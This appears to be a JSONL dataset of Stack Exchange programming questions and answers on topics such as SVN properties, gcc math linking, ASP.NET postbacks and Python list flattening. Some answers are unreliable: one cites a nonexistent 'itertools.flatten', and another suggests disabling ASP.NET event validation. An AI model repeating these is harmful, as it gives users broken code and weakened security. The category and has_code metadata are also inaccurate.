{"id": "hf_9fd985f4d885", "question": "<p>Is there a good Eclipse plugin for recording and playing back macros?</p>\n\n<p>I've tried <a href=\"http://web.archive.org/web/20161025001953/http://www.bdaum.de:80/eclipse/\" rel=\"nofollow noreferrer\">this one</a>, but it didn't do me any good- it seemed like it wasn't ready for prime time.</p>\n\n<p>I know about editor templates, but I'm looking for something that I can use to record my keystrokes and then apply multiple times against a wad of text.</p>\n\n<p>This seems like a strange hole in an IDE. Am I missing some built-in facility for this?</p>\n", "question_body": "", "answer": "This seems like a strange hole in an IDE, am I missing some builtin facility for this?\nThis is a common problem. There are around four bugs opened in Eclipse tracker for this. Unfortunately you would probably see macros in Eclipse in v4.0 or later.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:24.500065"}
{"id": "hf_a19bfa36959e", "question": "<p>Speaking entirely in technology-free terms, what is the best way to make a mobile friendly site?  That is, I want to make a site that will work on a regular computer but also have mobile versions of the pages.  Should I rewrite each page?  The pages will probably have different functionality, so should I rewrite the backend code?  Should it be an effectively different site with the same database?</p>\n", "question_body": "", "answer": "I added a mobile presentation layer to an operational site about a year ago. Based on the architecture of the site (hopefully this isn't too technology dependent for you) I added a new set of JSPs to accommodate mobile browsers (sidenote: see\nhttp://wurfl.sourceforge.net/\nfor a great way to build mobile pages independent of browser type). Additionally some of the back-end functionality was changed due to the limited functionality of most mobile browsers. So, in short, the integration wasn't as painful as one would expect.\nGood luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:24.562476"}
{"id": "hf_f96159fb2040", "question": "<p>From managed C++, I am calling an unmanaged C++ method which returns a double. How can I convert this double into a managed string?</p>\n", "question_body": "", "answer": "C++ is definitely not my strongest skillset.  Misread the question, but this should convert to a std::string, not exactly what you are looking for though, but leaving it since it was the original post....\n```\n```\ndouble d = 123.45;\nstd::ostringstream oss;\noss << d;\nstd::string s = oss.str();\n```\n```\nThis should convert to a managed string however..\n```\n```\ndouble d = 123.45\nString^ s = System::Convert::ToString(d);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:24.612299"}
{"id": "hf_3cb1654a145c", "question": "<p>Do you use Luabind, toLua++, or some other library (if so, which one) or none at all?</p>\n\n<p>For each approach, what are the pro's and con's?</p>\n", "question_body": "", "answer": "To answer my own question in part:\nLuabind: once you know how to bind methods and classes via this awkward template syntax, it's pretty straightforward and easy to add new bindings. However, luabind has a significant performance impact and shouldn't be used for realtime applications. About 5-20 times more overhead than calling C functions that manipulate the stack directly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:24.674037"}
{"id": "hf_9af6cca32cfe", "question": "<p>I've been playing around with <code>OpenGL ES</code> development on Android. <code>OpenGL ES</code> applications seem to run slowly in the Emulator on my development machine. Does this reflect likely performance of actual hardware? I'm concerned about spending too much time developing an application if the graphics performance is going to be sluggish.</p>\n", "question_body": "", "answer": "The emulator is super slow on my\n```\nMobile Intel Pentium M 725, 1600 MHz\n```\n.\nI'm assuming the emulator isn't representative of real world performance.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:24.710636"}
{"id": "hf_b61d1399c6c4", "question": "<p>I'm using managed c++ to implement a method that returns a string. I declare the method in my header file using the following signature:</p>\n\n<pre><code>String^ GetWindowText()\n</code></pre>\n\n<p>However, when I'm using this method from C#, the signature is:</p>\n\n<pre><code>string GetWindowTextW();\n</code></pre>\n\n<p>How do I get rid of the extra \"W\" at the end of the method's name?</p>\n", "question_body": "", "answer": "To get around the preprocessor hackery of the Windows header files, declare it like this:\n```\n```\n#undef GetWindowText\nString^ GetWindowText()\n```\n```\nNote that, if you actually use the Win32 or MFC\n```\nGetWindowText()\n```\nroutines in your code, you'll need to either redefine the macro or call them as\n```\nGetWindowTextW()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:24.734410"}
{"id": "hf_ac2cefaf6a5d", "question": "<p>I've got an open-source app that is hosted at code.google.com. It is cross platform ( Linux / Windows / Mac ). I uploaded the code initially from a WinXP machine using TortoiseSVN and it seems that none of the \"configure\" batch files that are used for the linux build have their \"execute\" bits set. </p>\n\n<p>What would be the easiest way to set these for the files that need them? Using TortoiseSVN would be easier, I suppose, but if that can't be used, then I could also use the command line SVN on my linux machine.</p>\n", "question_body": "", "answer": "Here's how to do it on the command line:\n```\n```\nfor file in `find . -name configure`; do\n  svn ps svn:executable yes ${file}\ndone\n```\n```\nOr for just one file (\n```\nconfigure\n```\nis the filename here):\n```\n```\nsvn ps svn:executable yes configure\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:24.770983"}
{"id": "hf_048f25e9013a", "question": "<p>In SharePoint, it is easy to set up a List webpart consisting of Links to other documents, folders, sites, etc.  Unfortunately, when clicking these links, the default behavior is for the page to open in the current browser window.  That is, it does NOT open the page in a new instance of the browser.  This has proven annoying for a number of the users on my site.</p>\n\n<p>Does anyone know of a way to have the default behavior be to open in a NEW browser window?  </p>\n\n<p>I'm hoping this is something that can be set in SharePoint rather than having users need to adjust some sort of setting in their browser.</p>\n", "question_body": "", "answer": "It is not possible with the default Link List web part, but there are resources describing how to extend Sharepoint server-side to add this functionality.\nShare Point Links Open in New Window\nChanging Link Lists in Sharepoint 2007", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:24.795654"}
{"id": "hf_6132d829104c", "question": "<p>When attempting to call functions in <code>math.h</code>, I'm getting link errors like the following  </p>\n\n<pre><code>undefined reference to sqrt\n</code></pre>\n\n<p>But I'm doing a <code>#include &lt;math.h&gt;</code><br>\nI'm using gcc and compiling as follows:</p>\n\n<pre><code>gcc -Wall -D_GNU_SOURCE blah.c -o blah\n</code></pre>\n\n<p>Why can't the linker find the definition for <code>sqrt</code>?</p>\n", "question_body": "", "answer": "You need to link the math library explicitly. Add\n```\n-lm\n```\nto the flags you're passing to gcc so that the linker knows to link\n```\nlibm.a\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:24.819914"}
{"id": "hf_295eb6c3e5ba", "question": "<p>Years ago I created a programming collaboratory in Diversity University MOO -- a room written in MOOcode that used TCP/IP to communicate with a perl server back at my campus to compile and execute C, Perl, Bash and other programs and return results to the MOO collaboratory -- all for demonstrating programming languages in a MOO teaching environment.  The application is usually a romp in five or six languages and fun to play with.  Now I'd like to do the same thing in SecondLife using LSL. The only suggestion I've gotten so far from that crowd is to use a WWW request, presumeably constructing an http POST message to a CGI process.  I never cared much for html forms so I'd rather use TCP/IP or some other communications protocol.  Has anyone tried this who'd care to provide a few hints?  There are several good LSL demo sites in SecondLife but I'd like to demo other compiler and script languages, maybe even PowerShell.\nDick S.</p>\n", "question_body": "", "answer": "REST\nis now in fashion for web services. There is no real reason to get down to TCP/IP layer for something which from your description does not require super performance or response times. LSL HTTP support is quite good so you should not have any problems.\nOf course it is not ideal to get the output of your programs back in real-time - for that you would need to open http connection on the server and constantly write to the body of the page (while the client would read that). But even with going back and forth between the server and the client you should get moderately good experience.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:24.893883"}
{"id": "hf_d3fba2915069", "question": "<p>Is there an easy way of finding out the host name of a machine that generated a user mode dump file via WinDbg? </p>\n\n<p>Or at least any piece of identifying information to try and confirm that two dump files came from the same system.</p>\n", "question_body": "", "answer": "From debugger.chm:\nFinding the Computer Name in a Kernel-Mode Dump File\nIf you need to determine the name of the computer on which the crash dump was made, you can use the !peb extension and look for the value of COMPUTERNAME it its output.\nOr you can use the following command:\n```\n```\n0: kd> x srv!SrvComputerName\nbe8ce2e8  srv!SrvComputerName  = _UNICODE_STRING \"AIGM-MYCOMP-PUB01\"\n```\n```\nFinding the IP Address in a Kernel-Mode Dump File\nTo determine the IP address of the computer on which the crash dump was made, find a thread stack that shows some send/receive network activity. Open one of the send packets or receive packets. The IP address will be visible in that packet.\nEDIT: I will note that depending on how the dump file was created, the PEB information may not be available and so you won't\nalways\nbe able to find the computer name.  Particularly if something came through the Microsoft Winqual site, it has been sanitized.\nUsing the shortcut for environment variables in the PEB: !envvar COMPUTERNAME", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:24.918747"}
{"id": "hf_ef1e3d71d753", "question": "<p>I need to get the name of the machine my .NET app is running on.  What is the best way to do this?</p>\n", "question_body": "", "answer": "```\nSystem.Environment.MachineName\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:24.943343"}
{"id": "hf_944c35190270", "question": "<p>I'm using start.jar and stop.jar to stop and start my jetty instance.\nI restart by calling stop.jar, then start.jar.\nThe problem is, if I don't sleep long enough between stop.jar and start.jar I start getting these random ClassNotFoundExceptions and the application doesn't work correctly.</p>\n\n<p>Sleeping for a longer period of time between stop and start is my current option.</p>\n\n<p>I also heard from someone that I should have something that manages my threads so that I end those before jetty finishes.\nIs this correct? The question I have about this is that stop.jar returns immediately, so it doesn't seem to help me, unless there's something I'm missing.\nAnother option might be to poll the log file, but that's pretty ugly.</p>\n\n<p>What's the best way of restarting jetty?</p>\n\n<p>Gilbert: The Ant task is definitely not a bad way of doing it.  However, it sleeps for a set amount of time, which is exactly what I'm trying to avoid.</p>\n", "question_body": "", "answer": "Did you try JFGI?\nSetting up Ant task that could do the work for you?\nThis blog post details how to setup targets that can start and stop jetty for you. You could easily cobble together another target called 'jetty-restart' which depends on 'jetty-stop' and then calls 'jetty-start'.\nhttp://ptrthomas.wordpress.com/2006/10/10/how-to-start-and-stop-jetty-from-ant/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:25.004074"}
{"id": "hf_ebba9da5aa50", "question": "<p>I've heard that the <code>static_cast</code> function should be preferred to C-style or simple function-style casting.  Is this true?  Why?</p>\n", "question_body": "", "answer": "static_cast, aside from manipulating pointers to classes, can also be used to perform conversions explicitly defined in classes, as well as to perform standard conversions between fundamental types:\n```\n```\ndouble d = 3.14159265;\nint    i = static_cast<int>(d);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:25.032340"}
{"id": "hf_bf708153ba04", "question": "<p>I'm running some JUnit tests on my applications. Every test has a for loop calling respective method 10000 times.\nThe tested methods produce a lot of log. \nThese logs are also automatically collected by JUnit as test output.\nThis situation takes to OutOfMemoryError because the string buffer where JUnit keeps the output becomes too large.\nI dont' need these logs during tests, so if there is a way to tell JUnit \"don't keep program output\" it would be enough.\nAny ideas?</p>\n", "question_body": "", "answer": "Some options:\nChange your logging so that it dumps to a file instead of standard output.\nIncrease the maximum heap size with\n```\n-Xmx <some number>M\n```\n, like\n```\n-Xmx 256M\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:25.072881"}
{"id": "hf_d8a645153791", "question": "<p>If you need to open a SqlConnection before issuing queries, can you simply handle all non-Open ConnectionStates in the same way?  For example:</p>\n\n<pre><code>    if (connection.State != ConnectionState.Open)\n    {\n        connection.Open();\n    }\n</code></pre>\n\n<p>I read somewhere that for ConnectionState.Broken the connection needs to be closed before its re-opened.  Does anyone have experience with this?  Thanks-</p>\n", "question_body": "", "answer": "This isn't directly answering your question, but the best practice is to open and close a connection for every access to the database.  ADO.NET connection pooling ensures that this performs well.  It's particularly important to do this in server apps (e.g. ASP.NET), but I would do it even in a WinForms app that accesses the database directly.\nExample:\n```\n```\nusing(SqlConnection connection = new SqlConnection(...))\n{\n   connection.Open();\n   // ... do your stuff here\n\n}  // Connection is disposed and closed here, even if an exception is thrown\n```\n```\nIn this way you never need to check the connection state when opening a connection.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:25.122262"}
{"id": "hf_91c22ec1a46e", "question": "<p>I have an ASP.net application that works fine in the development environment but in the production environment throws the following exception when clicking a link that performs a postback.  Any ideas?</p>\n\n<blockquote>\n  <p>Invalid postback or callback argument.\n  Event validation is enabled using\n  \n  in configuration or &lt;%@ Page\n  EnableEventValidation=\"true\" %> in a\n  page.  For security purposes, this\n  feature verifies that arguments to\n  postback or callback events originate\n  from the server control that\n  originally rendered them.  If the data\n  is valid and expected, use the\n  ClientScriptManager.RegisterForEventValidation\n  method in order to register the\n  postback or callback data for\n  validation.</p>\n</blockquote>\n\n<p><strong>Edit:</strong> This seems to only be happening when viewed with IE6 but not with IE7, any ideas?</p>\n", "question_body": "", "answer": "It seems that the data/controls on the page are changed when the postback occurs. What happens if you turn off the event validation in the page directive.\n```\n```\n<%@ Page ... EnableEventValidation = \"false\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:25.185046"}
{"id": "hf_93f53c60adf3", "question": "<p>I have:</p>\n\n<pre><code>&lt;?php\n\n$file=fopen(date(\"Y-m-d\").\".txt\",\"r+\") or exit(\"Unable to open file!\");\n\nif ($_POST[\"lastname\"] &lt;&gt; \"\")\n{\n   fwrite($file,$_POST[\"lastname\"].\"\\n\");\n}\n\nfclose($file);\n\n?&gt;\n</code></pre>\n\n<p>but it overwrites the beginning of the file.  How do I make it insert?</p>\n", "question_body": "", "answer": "I'm not entirely sure of your question - do you want to write data and not have it over-write the beginning of an existing file, or write new data to the start of an existing file, keeping the existing content after it?\nTo insert text without over-writing the beginning of the file\n, you'll have to open it for appending (\n```\na+\n```\nrather than\n```\nr+\n```\n)\n```\n```\n$file=fopen(date(\"Y-m-d\").\".txt\",\"a+\") or exit(\"Unable to open file!\");\n\nif ($_POST[\"lastname\"] <> \"\")\n{\n   fwrite($file,$_POST[\"lastname\"].\"\\n\");\n}\n\nfclose($file);\n```\n```\nIf you're trying to write to the start of the file\n, you'll have to read in the file contents (see\n```\nfile_get_contents\n```\n) first, then write your new string followed by file contents to the output file.\n```\n```\n$old_content = file_get_contents($file);\nfwrite($file, $new_content.\"\\n\".$old_content);\n```\n```\nThe above approach will work with small files, but you may run into memory limits trying to read a large file in using\n```\nfile_get_conents\n```\n. In this case, consider using\n```\nrewind($file)\n```\n, which sets the file position indicator for handle to the beginning of the file stream. \nNote when using\n```\nrewind()\n```\n, not to open the file with the\n```\na\n```\n(or\n```\na+\n```\n) options, as:\nIf you have opened the file in append (\"a\" or \"a+\") mode, any data you write to the file will always be appended, regardless of the file position.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:25.282850"}
{"id": "hf_4b4fc4a776d1", "question": "<p>Why was the <code>arguments.callee.caller</code> property deprecated in JavaScript?</p>\n\n<p>It was added and then deprecated in JavaScript, but it was omitted altogether by ECMAScript.  Some browser (Mozilla, IE) have always supported it and don't have any plans on the map to remove support.  Others (Safari, Opera) have adopted support for it, but support on older browsers is unreliable.</p>\n\n<p>Is there a good reason to put this valuable functionality in limbo?</p>\n\n<p>(Or alternately, is there a better way to grab a handle on the calling function?)</p>\n", "question_body": "", "answer": "It is better to use\nnamed functions\nthan arguments.callee:\n```\n```\nfunction foo () {\n     ... foo() ...\n }\n```\n```\nis better than\n```\n```\nfunction () {\n     ... arguments.callee() ...\n }\n```\n```\nThe named function will have access to its caller through the\ncaller\nproperty:\n```\n```\nfunction foo () {\n     alert(foo.caller);\n }\n```\n```\nwhich is better than\n```\n```\nfunction foo () {\n     alert(arguments.callee.caller);\n }\n```\n```\nThe deprecation is due to current ECMAScript\ndesign principles\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:25.307748"}
{"id": "hf_7bc0a2927ed8", "question": "<p>I've read about and dabbled with some including active record, repository, data transfer objects.  Which is best?</p>\n", "question_body": "", "answer": "'Best' questions are not really valid.  The world is filled with combination and variations.  You should start with the question that you have to answer:  What problem are you trying to solve.  After you answer that you look at the tools that work best with the issue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:25.416614"}
{"id": "hf_09009ae2ac59", "question": "<p>I'm working on a project that generates PDFs that can contain fairly complex math and science formulas.  The text is rendered in Times New Roman, which has pretty good Unicode coverage, but not complete. We have a system in place to swap in a more Unicode complete font for code points that don't have a glyph in TNR (like most of the \"stranger\" math symbols,) but I can't seem to find a way to query the *.ttf file to see if a given glyph is present.  So far, I've just hard-coded a lookup table of which code points are present, but I'd much prefer an automatic solution.</p>\n\n<p>I'm using VB.Net in a web system under ASP.net, but solutions in any programming language/environment would be appreciated.</p>\n\n<p>Edit: The win32 solution looks excellent, but the specific case I'm trying to solve is in an ASP.Net web system.  Is there a way to do this without including the windows API DLLs into my web site?</p>\n", "question_body": "", "answer": "FreeType\nis a library that can read TrueType font files (among others) and can be used to query the font for a specific glyph.  However, FreeType is designed for rendering, so using it might cause you to pull in more code than you need for this solution.\nUnfortunately, there's not really a clear solution even within the world of OpenType / TrueType fonts; the character-to-glyph mapping has about a dozen different definitions depending on the type of font and what platform it was originally designed for.  You might try to look at the\ncmap table definition\nin Microsoft's copy of the\nOpenType spec\n, but it's not exactly easy reading.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:25.503016"}
{"id": "hf_ae7c58b0428e", "question": "<p>As an example, Google App Engine uses Google Datastore, not a standard database, to store data.  Does anybody have any tips for using Google Datastore instead of databases?  It seems I've trained my mind to think 100% in object relationships that map directly to table structures, and now it's hard to see anything differently.  I can understand some of the benefits of Google Datastore (e.g. performance and the ability to distribute data), but some good database functionality is sacrificed (e.g. joins).</p>\n\n<p>Does anybody who has worked with Google Datastore or BigTable have any good advice to working with them?</p>\n", "question_body": "", "answer": "Being rooted in the database world, a data store to me would be a giant table (hence the name \"bigtable\").  BigTable is a bad example though because it does a lot of other things that a typical database might not do, and yet it is still a database.  Chances are unless you know you need to build something like Google's \"bigtable\", you will probably be fine with a standard database.  They need that because they are handling insane amounts of data and systems together, and no commercially available system can really do the job the exact way they can demonstrate that they need the job to be done.\n(bigtable reference:\nhttp://en.wikipedia.org/wiki/BigTable\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:25.527860"}
{"id": "hf_51eb8d29907c", "question": "<p>Here's the situation: I have a label's text set, immediately followed by a response.redirect() call as follows (this is just an example, but I believe it describes my situation accurately):</p>\n\n<p>aspx:</p>\n\n<pre><code>&lt;asp:Label runat=\"server\" Text=\"default text\" /&gt;\n</code></pre>\n\n<p>Code-behind (code called on an onclick event):</p>\n\n<pre><code>Label.Text = \"foo\";\nResponse.Redirect(\"Default.aspx\");   \n</code></pre>\n\n<p>When the page renders, the label says \"default text\". What do I need to do differently? My understanding was that such changes would be done automatically behind the scenes, but apparently, not in this case. Thanks.</p>\n\n<p>For a little extra background, the code-behind snippet is called inside a method that's invoked upon an onclick event. There is more to it, but I only included that which is of interest to this issue.</p>\n", "question_body": "", "answer": "ASP and ASP.Net are inherently stateless unless state is explicitly specified. Normally between PostBacks information like the value of a label is contained in the viewstate, but if you change pages that viewstate is lost because it is was being stored in a hidden field on the page.\nIf you want to maintain the value of the label between calls you need to use one of the state mechanisms (e.g. Session, Preferences) or communication systems (Request (GET, POST)).\nAdditionally you may be looking for Server.Transfer which will change who is processing the page behind the scenes. Response.Redirect is designed to ditch your current context in most cases.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:25.552872"}
{"id": "hf_5534a679697f", "question": "<p>I know <em>of</em> the US GIS TIGER file format from years ago, but have never used it.</p>\n\n<p>I'm very shortly going to need to very quickly implement simple geocoding and vector graphics of roads and other features.</p>\n\n<ul>\n<li>Where do I go for information - are there tutorials, example queries, etc?</li>\n</ul>\n\n<p>Are there other ways to include geocoding and basic mapping in a mobile (no internet) device?</p>\n\n<p>-Adam</p>\n", "question_body": "", "answer": "As far as I'm aware of, there aren't many applications that make use of the TIGER/Line format directly.  Most apps use TIGER files that have been translated into ESRI's shapefile format.\nEdited to add:\nIs there information on ESRI's format available?\nThere's an\nESRI whitepaper\ndescribing the file format.\nIf you're planning to use shapefiles in an application, there are\nvarious\nlibraries\nout there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:25.637155"}
{"id": "hf_330a0fd1ae56", "question": "<p>List Comprehension for me seems to be like the opaque block of granite that regular expressions are for me. I need pointers.</p>\n\n<p>Say, I have a 2D list:</p>\n\n<pre><code>li = [[0,1,2],[3,4,5],[6,7,8]]\n</code></pre>\n\n<p>I would like to merge this either into one long list</p>\n\n<pre><code>li2 = [0,1,2,3,4,5,6,7,8]\n</code></pre>\n\n<p>or into a string with separators:</p>\n\n<pre><code>s = \"0,1,2,3,4,5,6,7,8\"\n</code></pre>\n\n<p>Really, I'd like to know how to do both.</p>\n", "question_body": "", "answer": "```\n```\nimport itertools\nitertools.flatten( li )\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:25.661640"}
{"id": "hf_2905364c10bc", "question": "<p>I am trying to install the ibm_db gem so that I can access DB2 from Ruby.  When I try:</p>\n\n<pre><code>sudo gem install ibm_db\n</code></pre>\n\n<p>I get the following request for clarification:</p>\n\n<pre>\nSelect which gem to install for your platform (i486-linux)\n 1. ibm_db 0.10.0 (ruby)\n 2. ibm_db 0.10.0 (mswin32)\n 3. ibm_db 0.9.5 (mswin32)\n 4. ibm_db 0.9.5 (ruby)\n 5. Skip this gem\n 6. Cancel installation\n</pre>\n\n<p>I am always going to be installing the linux version (which I assume is the \"ruby\" version), so is there a way to pick which one I will install straight from the gem install command?</p>\n\n<p>The reason this is a problem is that I need to automate this install via a bash script, so I would like to select that I want the \"ruby\" version ahead of time.</p>\n", "question_body": "", "answer": "Try this:\n```\n```\nsudo gem install --platform ruby ibm_db\n```\n```\nNote that you can get help on the install command using:\n```\n```\ngem help install\n```\n```\nUPDATE:\nLooks like this option only works for RubyGems 0.9.5 or above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:25.709489"}
{"id": "hf_328661fccebc", "question": "<p>I'm working on a document \"wizard\" for the company that I work for. It's a .dot file with a header consisting of some text and some form fields, and a lot of VBA code. The body of the document is pulled in as an OLE object from a separate .doc file.</p>\n\n<p>Currently, this is being done as a <code>Shape</code>, rather than an <code>InlineShape</code>. I did this because I can absolutely position the Shape, whereas the InlineShape always appears at the beginning of the document.</p>\n\n<p>The problem with this is that a <code>Shape</code> doesn't move when the size of the header changes. If someone needs to add or remove a line from the header due to a special case, they also need to move the object that defines the body. This is a pain, and I'd like to avoid it if possible.</p>\n\n<p>Long story short, how do I position an <code>InlineShape</code> using VBA in Word?</p>\n\n<p>The version I'm using is Word 97.</p>\n", "question_body": "", "answer": "InlineShape is treated as a letter. Hence, the same technique.\n```\n```\nThisDocument.Range(15).InlineShapes.AddPicture \"1.gif\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:25.782679"}
{"id": "hf_a4475d20625c", "question": "<p>I need to implement an in-memory tuple-of-strings matching feature in C.  There will be large list of tuples associated with different actions and a high volume of events to be matched against the list.</p>\n\n<p>List of tuples:</p>\n\n<pre><code>(\"one\", \"four\")\n(\"one\")\n(\"three\")\n(\"four\", \"five\")\n(\"six\")    \n</code></pre>\n\n<p>event (\"one\", \"two\", \"three\", \"four\") should match list item (\"one\", \"four\") and (\"one\") and (\"three\") but not (\"four\", \"five\") and not (\"six\")</p>\n\n<p>my current approach uses a map of all tuple field values as keys for lists of each tuple using that value.  there is a lot of redundant hashing and list insertion.</p>\n\n<p>is there a right or classic way to do this?</p>\n", "question_body": "", "answer": "I don't know of any classical or right way to do this, so here is what I would do :P\nIt looks like you want to decide if A is a superset of B, using set theory jargon. One way you can do it is to sort A and B, and do a merge sort-esque operation on A and B, in that you try to find where in A a value in B goes. Those elements of B which are also in A, will have duplicates, and the other elements won't. Because both A and B are sorted, this shouldn't be too horrible.\nFor example, you take the first value of B, and walk A until you find its duplicate in A. Then you take the second value of B, and start walking A from where you left off previously. If you get to end of A without finding a match, then A is not a superset of B, and you return false.\nIf these tuples can stay sorted, then the sorting cost is only incurred once.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:25.809977"}
{"id": "hf_4451424a3da0", "question": "<p>I'm wanting to get the full value of a char[] variable in the VC6 watch window, but it only shows a truncated version. I can copy the value from a debug memory window, but that contains mixed lines of hex and string values.  Surely there is a better way??</p>\n", "question_body": "", "answer": "Push come to shove you can put in the watch\ngiven\n```\n```\nchar bigArray[1000];\n```\n```\nwatch:\n```\n```\n&bigArray[0]\n&bigArray[100]\n&bigArray[200]\n...\n```\n```\nor change the index for where in the string you want to look...\nIts clunky, but its worked for me in the past.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:25.834167"}
